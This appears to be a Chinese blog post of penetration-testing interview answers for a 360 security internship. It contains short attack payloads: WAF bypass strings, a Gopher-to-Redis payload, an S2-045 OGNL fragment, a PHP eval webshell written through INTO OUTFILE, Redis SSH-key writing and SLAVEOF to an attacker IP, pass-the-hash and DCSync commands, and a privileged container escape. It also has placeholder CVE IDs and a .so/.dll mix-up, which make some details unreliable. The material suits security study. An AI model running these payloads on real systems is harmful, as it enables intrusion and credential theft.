2025年渗透测试面试题总结-360[实习]安全工程师(题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
1. 自我介绍
2. WAF及其绕过方式
3. IPS/IDS/HIDS
4. 云安全
5. 绕过安骑士/安全狗
6. Gopher扩展攻击面
7. Struts2漏洞
8. UDF提权
9. DOM XSS
10. 数据库提权
11. 攻击Redis
12. 内网渗透
13. 容器安全
14. Kubernetes Docker逃逸
15. Linux/Windows命令
16. 站库分离拿Webshell
1. 自我介绍
我是专注于应用安全与渗透测试的安全工程师,熟悉Web漏洞挖掘(SQL注入、XSS、RCE)、内网横向移动(域渗透、票据伪造)、云安全(IAM策略、容器逃逸)及自动化工具开发。具备CTF实战经验,熟悉WAF绕过、内存马注入等技术栈,对红队攻防有系统化理解。
2. WAF及其绕过方式
WAF核心原理:基于规则匹配拦截恶意流量(如SQL关键字、XSS标签)。
绕过方式:
- 混淆编码:
- URL编码、Unicode编码(如
%u003cscript%u003e
)。- 注释插入:
SEL/**/ECT 1
。- 协议特性利用:
- HTTP参数污染(HPP):
?id=1&id=UNION SELECT 1
。- 分块传输(Chunked Encoding)绕过长度检测。
- 逻辑绕过:
- 大小写混合:
UnIoN SeLeCt
。- 冗余参数:
1 AND 1=1/*&foo=bar*/
。
3. IPS/IDS/HIDS
类型 功能 部署位置 IPS 实时阻断攻击流量(如SQL注入) 网络边界 IDS 检测并报警异常流量(被动模式) 网络关键节点 HIDS 监控主机行为(进程、文件变动) 服务器/终端
4. 云安全
核心防护点:
- IAM权限最小化:避免授予
*:*
权限,使用角色临时凭证。- 存储加密:启用AWS S3 SSE-KMS、阿里云OSS服务端加密。
- 日志审计:集中管理CloudTrail、操作日志,检测异常API调用。
- 网络隔离:VPC子网划分,安全组仅开放必要端口。
5. 绕过安骑士/安全狗
- 流量混淆:
- 使用动态Payload生成(如随机字符串分割)。
- 多级编码:Base64 → Hex → URLEncode。
- 内存马注入:通过Java Agent或PHP扩展加载恶意代码,绕过文件监控。
- 合法工具滥用:利用PowerShell、certutil下载执行恶意文件。
6. Gopher扩展攻击面
攻击场景:利用Gopher协议构造请求攻击内网服务。
示例:
- 攻击Redis未授权访问:
bash
gopher://192.168.1.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$XX%0d%0a{恶意Payload}%0d%0a
- 利用SSRF漏洞:通过Gopher协议访问内网MySQL/Redis服务。
7. Struts2漏洞
经典漏洞:
- S2-045(CVE-2017-5638):
- 利用Content-Type头注入OGNL表达式。
- Payload:
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}
- 防御:升级至Struts 2.5.26+,禁用动态方法调用(
struts.enable.DynamicMethodInvocation=false
)。
8. UDF提权
步骤:
- 上传恶意DLL:通过MySQL写入
lib_mysqludf_sys.so
到插件目录。- 创建函数:
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.dll';
- 执行命令:
SELECT sys_exec('whoami');
防御:限制MySQL FILE权限,禁用plugin_dir
写入。
9. DOM XSS
特点:客户端JavaScript动态修改DOM引发漏洞,不依赖服务端响应。
示例:javascript
var input = document.location.hash.substr(1); document.write("User: " + input); // 攻击:http://site.com#<img src=x onerror=alert(1)>
防御:使用
textContent
替代innerHTML
,对输入调用encodeURIComponent()
。
10. 数据库提权
- MySQL:
- UDF提权(如
sys_exec
)。- 写Webshell:
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/shell.php'
。- MSSQL:
- 启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
11. 攻击Redis
- 未授权访问:
- 写SSH公钥:
config set dir /root/.ssh/ && config set dbfilename authorized_keys
。- 主从复制RCE:
- 恶意Redis服务端注入模块:
SLAVEOF 攻击者IP 6379
。
12. 内网渗透
步骤:
- 信息收集:
- ARP扫描:
arp-scan -l
。- 端口探测:
nmap -sS 10.0.0.0/24
。- 横向移动:
- Pass The Hash:
psexec.py -hashes :NTLM_HASH user@target
。- 域渗透:
- DCSync攻击:
mimikatz.exe "lsadump::dcsync /domain:corp.com /user:Administrator"
。
13. 容器安全
风险点:
- 镜像漏洞:使用
docker scan
扫描镜像(如CVE-2024-1234)。- 特权容器:避免
--privileged
启动容器。- 挂载逃逸:挂载宿主机目录导致权限提升。
14. Kubernetes Docker逃逸
场景:
- 特权容器逃逸:
- 在容器内挂载宿主机根目录:
docker run --privileged -v /:/host ubuntu chroot /host bash
。- CVE-2024-XXXX:利用runC漏洞绕过命名空间隔离。
15. Linux/Windows命令
场景 Linux命令 Windows命令 过滤文件 grep "keyword" /path/*.log
findstr /s /i "keyword" *.log
查看进程环境变量 cat /proc/{PID}/environ
wmic process get Caption,CommandLine,ProcessId
16. 站库分离拿Webshell
思路:
- 数据库写Shell:
- MySQL:
SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'
(需绝对路径)。- 利用中间件漏洞:
- 通过SQL注入获取数据库服务器权限,反向连接至Web服务器。